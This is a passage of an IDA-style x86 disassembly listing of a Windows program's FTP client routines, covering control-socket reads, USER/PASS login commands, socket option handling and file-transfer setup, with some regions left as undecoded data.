		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DB00	proc near		; CODE XREF: sub_401A7Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		nop
		call	near ptr 77C46125h
		mov	ebp, eax
		push	3Ah
		push	ebp
		nop
		call	near ptr 77C47660h
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42DB74
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_43828C
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44742468h, 928CE800h, 83907780h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42DB74:				; CODE XREF: sub_42DB00+47j
		mov	[esi], bl
		mov	eax, dword_511A7C
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42DB92
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42DBA2
; ---------------------------------------------------------------------------


loc_42DB92:				; CODE XREF: sub_42DB00+7Fj
		mov	eax, dword_511B1C
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42DBA2:				; CODE XREF: sub_42DB00+90j
		cmp	eax, ebx
		jz	short loc_42DBBD
		push	esi
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		push	eax
		call	sub_43822C
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42DBD1
; ---------------------------------------------------------------------------


loc_42DBBD:				; CODE XREF: sub_42DB00+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_43828C
sub_42DB00	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DBD1	proc near		; CODE XREF: sub_42DB00+BBj
		push	ebp
		call	sub_4381EA
sub_42DBD1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42DC1D
		push	ebp
		call	sub_4381DE
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 14681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42DC1D:				; CODE XREF: ___:0042DBDEj
		push	ebp
		mov	ebp, dword_511AD0
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 44740Ch, 91ACE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 13E85700h,	830000A6h, 775FFF8h, 4473FC68h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h
		dd 71FC6807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h
		dd 83F08B77h, 0F33B08C4h, 0F4681E75h, 0E8004473h, 77809146h
		dd 4C48390h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h
		dd 73F46824h, 0E8900044h, 77809112h, 5704C483h,	0A513E8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE00	proc near		; CODE XREF: ___:0042E556p
					; sub_42F2C0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE3A


loc_42DE22:				; CODE XREF: sub_42DE00+8Ej
					; sub_42DE00+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DE3A:				; CODE XREF: sub_42DE00+20j
		mov	eax, dword_5103A8
		mov	ebx, dword_511A8C
		cmp	eax, 1
		jle	short loc_42DE5E
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DE5E:				; CODE XREF: sub_42DE00+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42DEDE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		nop
		call	near ptr 77C47A90h
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42DF40
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42DE22
		mov	ebp, dword_511AE0


loc_42DE96:				; CODE XREF: sub_42DE00+D7j
		cmp	dword_5103A8, 1
		jle	short loc_42DEB4
		mov	edx, dword_511A90
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DEB4:				; CODE XREF: sub_42DE00+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42DEDE
		push	edi
		push	100h
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE96
		jmp	loc_42DE22
; ---------------------------------------------------------------------------


loc_42DEDE:				; CODE XREF: sub_42DE00+62j
					; sub_42DE00+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42DE00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DF40	proc near		; CODE XREF: sub_42DE00+15p
					; sub_42DE00+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42DF70
		cmp	eax, 1
		jz	short loc_42DF70
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF70:				; CODE XREF: sub_42DF40+1Ej
					; sub_42DF40+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42DF82
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF82:				; CODE XREF: sub_42DF40+36j
					; sub_42DF40+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42DFD3
		cmp	ebx, edi
		jge	short loc_42DF90
		lea	edi, [ebx-1]


loc_42DF90:				; CODE XREF: sub_42DF40+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42DFA9
		mov	edi, eax
		sub	edi, ebp


loc_42DFA9:				; CODE XREF: sub_42DF40+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42E05A


loc_42DFD3:				; CODE XREF: sub_42DF40+47j
		cmp	ebx, 1
		jz	loc_42E0AD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42DFFB
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42DFFB:				; CODE XREF: sub_42DF40+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42E0C0
		push	esi
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	loc_42E0F2
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E0DC
		test	eax, eax
		jnz	short loc_42E03F
		mov	[esp+18h+var_4], 1


loc_42E03F:				; CODE XREF: sub_42DF40+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42DF82
; ---------------------------------------------------------------------------


loc_42E05A:				; CODE XREF: sub_42DF40+8Dj
		sub	ebp, 2
		mov	esi, offset asc_4471EC ; "\r\n"
		mov	eax, ebp


loc_42E064:				; CODE XREF: sub_42DF40+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		test	cl, cl
		jz	short loc_42E088
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42E064


loc_42E088:				; CODE XREF: sub_42DF40+130j
		xor	eax, eax
		jmp	short loc_42E091
; ---------------------------------------------------------------------------


loc_42E08C:				; CODE XREF: sub_42DF40+12Cj
					; sub_42DF40+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42E091:				; CODE XREF: sub_42DF40+14Aj
		test	eax, eax
		jnz	short loc_42E0F2
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0AD:				; CODE XREF: sub_42DF40+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0C0:				; CODE XREF: sub_42DF40+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42E0F2
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0DC:				; CODE XREF: sub_42DF40+EDj
		push	offset aRead	; "read"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42E0F2:				; CODE XREF: sub_42DF40+D2j
					; sub_42DF40+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42DF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E170	proc near		; CODE XREF: sub_42DF40+C8p
					; sub_42EF60:loc_42EF8Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42E253
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42E253
		cmp	eax, 2
		jnz	short loc_42E1A5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42E1A9
; ---------------------------------------------------------------------------


loc_42E1A5:				; CODE XREF: sub_42E170+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42E1A9:				; CODE XREF: sub_42E170+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42E1B0:				; CODE XREF: sub_42E170+98j
		cmp	eax, 40h
		jnb	short loc_42E1C5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42E1C5:				; CODE XREF: sub_42E170+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_438208
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42E20A
		test	eax, eax
		jg	short loc_42E241
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42E246
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42E1B0
; ---------------------------------------------------------------------------


loc_42E20A:				; CODE XREF: sub_42E170+79j
		push	100h
		xor	edi, edi
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		nop
		call	near ptr 77C371FAh
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E241:				; CODE XREF: sub_42E170+7Dj
		mov	edi, 1


loc_42E246:				; CODE XREF: sub_42E170+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E253:				; CODE XREF: sub_42E170+19j
					; sub_42E170+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42E170	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2B0:				; CODE XREF: ___:0040141Aj
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42E35F	; default
		jmp	off_42E364[eax*4] ; switch jump


loc_42E2C7:				; DATA XREF: ___:off_42E364o
		mov	eax, [esp+8]	; jumptable 0042E2C0 case 0
		cmp	eax, 1
		jz	short loc_42E2D9
		cmp	eax, 2
		jnz	loc_42E35F	; default


loc_42E2D9:				; CODE XREF: ___:0042E2CEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2E8:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	edx, [esp+0Ch]	; jumptable 0042E2C0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2FB:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		push	esi		; jumptable 0042E2C0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E33C:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E34F:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42E35F:				; CODE XREF: ___:0042E2BAj
					; ___:0042E2D3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42E364	dd offset loc_42E2C7	; DATA XREF: ___:0042E2C0r
		dd offset loc_42E2E8	; jump table for switch	statement
		dd offset loc_42E2FB
		dd offset loc_42E33C
		dd offset loc_42E34F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E3C0	proc near		; CODE XREF: sub_402266j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	edi, dword_511A6C
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E42D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E42D:				; CODE XREF: sub_42E3C0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E451:				; CODE XREF: sub_42E3C0+1Bj
					; sub_42E3C0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42E3C0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E490	proc near		; CODE XREF: sub_42E3C0+51p
					; sub_42E3C0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42E4B3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4B3:				; CODE XREF: sub_42E490+15j
		mov	eax, dword_5103A8
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2


loc_42E4C2:				; CODE XREF: ___:0042E53Dj
		jle	short loc_42E4DC
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		nop
		call	near ptr 77C40E13h
		add	esp, 0Ch


loc_42E4DC:				; CODE XREF: sub_42E490:loc_42E4C2j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42E4FC
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4FC:				; CODE XREF: sub_42E490+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset aS_3	; "%s\r\n"
		push	ecx
		nop
		call	near ptr 77C3F931h
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_4381F6
sub_42E490	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+1Ah], 68h
		js	short near ptr byte_42E5AA
		inc	esp
		add	[eax-7F774B18h], dl
		ja	short loc_42E4C2
		les	eax, [ebx+esi]
		rcr	byte ptr [edi+5Eh], 5Bh
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [esp+114h]
		push	ebx
		push	ecx
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 3Ah dup(0CCh)
byte_42E5AA	db 6 dup(0CCh)		; CODE XREF: ___:0042E534j

; =============== S U B	R O U T	I N E =======================================



sub_42E5B0	proc near		; CODE XREF: sub_401F73j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42E5FC
		cmp	edi, 4
		jz	short loc_42E5D6
		cmp	edi, 3
		jnz	short loc_42E5FC


loc_42E5D6:				; CODE XREF: sub_42E5B0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E5FC:				; CODE XREF: sub_42E5B0+1Aj
					; sub_42E5B0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_511A6C
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4474C0
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	loc_42E7BE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42E7AF	; default
		jmp	off_42E7CC[eax*4] ; switch jump


loc_42E648:				; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474B8 ; jumptable 0042E641 case 1
		mov	dl, byte_4474BC
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E663:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	eax, dword_4474B0 ; jumptable 0042E641 case 2
		mov	cl, byte_4474B4
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E67D:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	edx, dword_4474A8 ; jumptable 0042E641 case 3
		mov	al, byte_4474AC
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E697:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474A0 ; jumptable 0042E641 case 4
		mov	dl, byte_4474A4
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42E6B0:				; CODE XREF: sub_42E5B0+B1j
					; sub_42E5B0+CBj ...
		test	esi, esi
		jz	short loc_42E703
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42E7BE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42E703:				; CODE XREF: sub_42E5B0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42E870
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E7BE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E758
		mov	eax, [esi]
		push	eax
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E758:				; CODE XREF: sub_42E5B0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42E79F
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42ED50
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E79F
		mov	ecx, [esi]
		push	ecx
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E79F:				; CODE XREF: sub_42E5B0+1B8j
					; sub_42E5B0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7AF:				; CODE XREF: sub_42E5B0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42E7BE:				; CODE XREF: sub_42E5B0+7Fj
					; sub_42E5B0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42E5B0	endp

; ---------------------------------------------------------------------------
		align 4
off_42E7CC	dd offset loc_42E648	; DATA XREF: sub_42E5B0+91r
		dd offset loc_42E663	; jump table for switch	statement
		dd offset loc_42E67D
		dd offset loc_42E697
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E870	proc near		; CODE XREF: sub_42E5B0+165p

var_134		= dword	ptr -134h
